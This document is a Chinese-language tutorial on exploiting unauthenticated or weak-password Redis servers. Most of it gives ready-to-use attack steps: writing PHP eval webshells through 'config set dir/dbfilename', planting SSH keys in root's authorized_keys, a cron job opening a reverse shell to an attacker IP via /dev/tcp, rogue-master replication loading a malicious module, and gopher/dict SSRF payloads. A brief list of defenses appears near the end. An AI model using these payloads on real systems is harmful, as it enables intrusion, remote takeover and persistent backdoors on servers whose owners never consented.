Redis漏洞及其利用方式
字数 1756 2025-08-23 18:31:09
Redis漏洞及其利用方式详解
0x01 Redis简介
Redis是一个使用ANSI C编写的开源(BSD许可)、支持网络、基于内存、可选持久性的键值对存储系统,可以用作数据库、缓存和消息中间件。它支持多种类型的数据结构:
- 字符串(strings)
- 散列(hashes)
- 列表(lists)
- 集合(sets)
- 有序集合(sorted sets)与范围查询
- bitmaps
- hyperloglogs
- 地理空间(geospatial)索引半径查询
Redis内置功能:
- 复制(replication)
- LUA脚本(Lua scripting)
- LRU驱动事件(LRU eviction)
- 事务(transactions)
- 不同级别的磁盘持久化(persistence)
- 通过Redis哨兵(Sentinel)和自动分区(Cluster)提供高可用性
0x02 Redis常用命令
set xz "Hacker" # 设置键xz的值为字符串Hacker
get xz # 获取键xz的内容
SET score 857 # 设置键score的值为857
INCR score # 使用INCR命令将score的值增加1
GET score # 获取键score的内容
keys * # 列出当前数据库中所有的键
config set protected-mode no # 关闭安全模式
get anotherkey # 获取一个不存在的键的值
config set dir /root/redis # 设置保存目录
config set dbfilename redis.rdb # 设置保存文件名
config get dir # 查看保存目录
config get dbfilename # 查看保存文件名
save # 进行一次备份操作
flushall # 删除所有数据
del key # 删除键为key的数据
slaveof ip port # 设置主从关系
redis-cli -h ip -p 6379 -a passwd # 外部连接
Redis操作注意事项
- 使用SET和GET命令完成基本的赋值和取值操作
- Redis不区分命令的大小写,set和SET是同一个意思
- 使用keys *可以列出当前数据库中的所有键
- 当尝试获取一个不存在的键的值时,Redis会返回空(nil)
- 如果键的值中有空格,需要使用双引号括起来
0x03 Redis配置文件参数
重要参数
- port参数:格式为
port 端口号,默认6379 - bind参数:格式为
bind IP地址,可绑定多个IP,空格分隔 - save参数:格式为
save <秒数> <变化数>,指定自动备份条件 - requirepass参数:指定客户端连接密码,默认为空
- dir参数:指定Redis工作目录,默认为当前目录
- dbfilename参数:指定备份文件名,默认为dump.rdb
- protected-mode参数:Redis 3.2+添加的安全模式,默认开启
0x04 Redis漏洞利用方式
1. 绝对路径写webshell
条件:
- 知道网站绝对路径
- 需要增删改查权限
- root启动redis
- redis弱密码或无密码
利用步骤:
config set dir /www/admin/localhost_80/wwwroot # 设置要写入shell的路径
set xxx "\n\n\n<?php phpinfo();?>\n\n\n" # 写入phpinfo()到xxx键
config set dbfilename phpinfo.php # 设置保存文件名
save # 保存
2. 写SSH公钥登录服务器
条件:
- Redis服务使用ROOT账号启动
- 服务器开放了SSH服务且允许密钥登录
利用步骤:
- 在攻击机生成SSH密钥:
ssh-keygen -t rsa
- Redis操作:
config set dir /root/.ssh/ # 设置保存路径
config set dbfilename authorized_keys # 设置保存文件名
set xz "\n\n\n[公钥内容]\n\n\n" # 将公钥写入xz键
save # 保存
- SSH登录:
ssh -i id_rsa root@目标IP
3. 创建计划任务反弹shell
条件:
- root启用Redis
- redis无密码或弱密码
- 仅适用于Centos系统
利用步骤:
- 攻击机监听端口:
nc -lvnp 8888
- Redis操作:
flushall # 清除所有键值
config set dir /var/spool/cron/ # 设置保存路径(Centos)
config set dbfilename root # 保存名称
set xz "\n* * * * * bash -i >& /dev/tcp/攻击IP/8888 0>&1\n" # 写入反弹shell
save # 保存
4. Redis主从复制RCE
原理:利用Redis模块功能,通过主从复制将恶意.so文件同步到目标服务器
条件:
- Redis版本4.x~5.0.5
- redis弱密码或无密码
- root启动redis
利用工具:
- redis-rogue-server (https://github.com/n0b0dyCN/redis-rogue-server)
- redis-rce (https://github.com/Ridter/redis-rce)
利用步骤:
slaveof 攻击IP 端口 # 设置主从关系
config set dir /tmp/ # 设置文件路径
config set dbfilename exp.so # 设置数据库文件名
module load /tmp/exp.so # 加载恶意模块
system.exec 'bash -i >& /dev/tcp/攻击IP/端口 0>&1' # 执行命令
0x05 SSRF攻击Redis
1. 使用gopherus直接攻击Redis
python gopherus.py --exploit redis
php[回车]<?php eval($_POST['cmd']);?>
2. dict协议攻击Redis
探测端口开放:
dict://目标IP:端口/info
写入webshell:
dict://目标IP:端口/config:set:dir:/var/www/html
dict://目标IP:端口/config:set:dbfilename:shell.php
dict://目标IP:端口/set:shell:"\x3c\x3f\x70\x68\x70\x20\x70\x68\x70\x69\x6e\x66\x6f\x28\x29\x3b\x3f\x3e"
dict://目标IP:端口/save
0x06 防御措施
- 设置强密码认证(requirepass)
- 修改默认端口
- 限制绑定IP(bind)
- 以低权限用户运行Redis
- 禁用危险命令(rename-command)
- 开启protected-mode
- 设置适当的防火墙规则
0x07 漏洞复现实例
环境搭建
靶机(Ubuntu):
wget http://download.redis.io/releases/redis-2.8.17.tar.gz
tar xzf redis-2.8.17.tar.gz
cd redis-2.8.17
make
cd src
cp redis-server /usr/bin
cp redis-cli /usr/bin
cd ..
cp redis.conf /etc/
redis-server /etc/redis.conf
攻击演示
- 连接Redis:
redis-cli -h 目标IP
- 写入webshell:
config set dir /var/www/html
config set dbfilename shell.php
set xxx "\r\n\r\n<?php eval($_POST['cmd']);?>\r\n\r\n"
save
- 验证:访问http://目标IP/shell.php?cmd=phpinfo();
0x08 相关工具
- redis-rogue-server:https://github.com/n0b0dyCN/redis-rogue-server
- redis-rce:https://github.com/Ridter/redis-rce
- gopherus:生成gopher攻击payload
- hackredis:批量检测未授权redis脚本